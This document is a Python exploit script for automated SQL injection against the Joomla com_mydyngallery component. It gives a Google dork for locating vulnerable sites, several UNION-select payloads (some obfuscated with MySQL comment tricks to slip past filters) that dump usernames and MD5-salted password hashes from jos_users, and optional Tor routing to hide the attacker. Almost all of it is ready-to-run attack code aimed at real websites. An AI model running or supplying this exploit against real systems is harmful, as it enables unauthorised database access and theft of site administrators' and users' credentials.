Joomla MyDynGallery SQL Injection

`# Joomla! com_mydyngallery Automatic SQL Injection exploit (multiple ways)  
# Author: D35m0nd142  
# Google Dork: inurl:"index.php?option=com_mydyngallery"  
# Date: 12/12/2015  
# Vulns found by R3d.W0rm & H3ll-dz   
# Software link: https://www.joomla.org   
# Tested on: all Joomla! versions containing component mydyngallery  
# Output will show clear username and MD5:Salt password  
  
#!/usr/bin/python  
import sys  
import time  
import socks  
import socket  
import requests  
  
success = False  
notvalid = [' ','<','>','{','}','[',']','(',')',';','"','\n','\r','\t','&','\'','\\','/','?','=',',']  
target = ""  
i = 0  
  
def chk_success():  
global i  
if(success):  
print "[+] Exploit succedeed!"  
sys.exit(0)  
i += 1  
  
def exploit(path,query):  
global i  
global success  
global target  
  
try:  
url = "%s%s" %(target,path)  
print "\n[*] Running #%i-way exploit (query=\"%s\", path='%s')\n" %(i,query,path)  
r = requests.get(url, headers=headers, timeout=20)  
if(r.status_code == 200 and r.url == url):  
url = "%s%s%s" %(target,path,query)  
r = requests.get(url, headers=headers, timeout=20)  
if("::::" in r.text):  
s = r.text  
for x in range(0,len(s)-4):  
if(s[x] == ':' and s[x+1] == ':' and s[x+2] == ':' and s[x+3] == ':'):  
if(success is False):  
success = True  
user = ""  
passwd = ""  
k = x-1  
while(k >= 0 and s[k] not in notvalid):  
user += s[k]  
k -= 1  
user = user[::-1]  
k = x+4  
while(k < len(s) and s[k] not in notvalid):  
passwd += s[k]  
k += 1  
x = k  
if(len(user) > 0 or len(passwd) > 0):  
print "-------------------------------------------------------------------------------------"  
print "[+] Username: %s" %user  
print "[+] Password: %s" %passwd  
print "-------------------------------------------------------------------------------------\n"  
except:  
print "[-] %i-way exploit not applicable." %i  
  
# Uncomment if you want to run the exploit through TOR  
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9150)  
#socket.socket = socks.socksocket  
  
print "\n/*================================================================*\\"  
print "| Joomla! com_mydyngallery Automatic SQLi exploit (Multiple ways) |"  
print "| Author: D35m0nd142 |"  
print "\*================================================================*/\n"  
  
target = raw_input("Enter the target (ex: 'http://site/joomla_path/') -> ")   
if("http" not in target):  
target = "http://%s" %target  
if(target[-1:] == '/'):  
target = target[:-1]  
  
headers = {'User-Agent':'Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16'}  
i = 1  
  
path = ["/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1","/index.php?option=com_mydyngallery&directory=1"]  
queries = ["' union select 1,2,3,group_concat(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users`",  
"' /*!00000union*/ select 1,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users`",  
"'%20/*!00000union*/%20select%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users`",  
"'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users`",  
"'+union+select+0,1,2,concat(0x3C703E,username,0x3a,0x3a,0x3a,0x3a,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*"]  
  
for query in queries:  
if(i < 5):  
exploit(path[0],query)  
else:  
exploit(path[1],query)  
chk_success()  
  
print "[-] Exploit not succedeed."  
`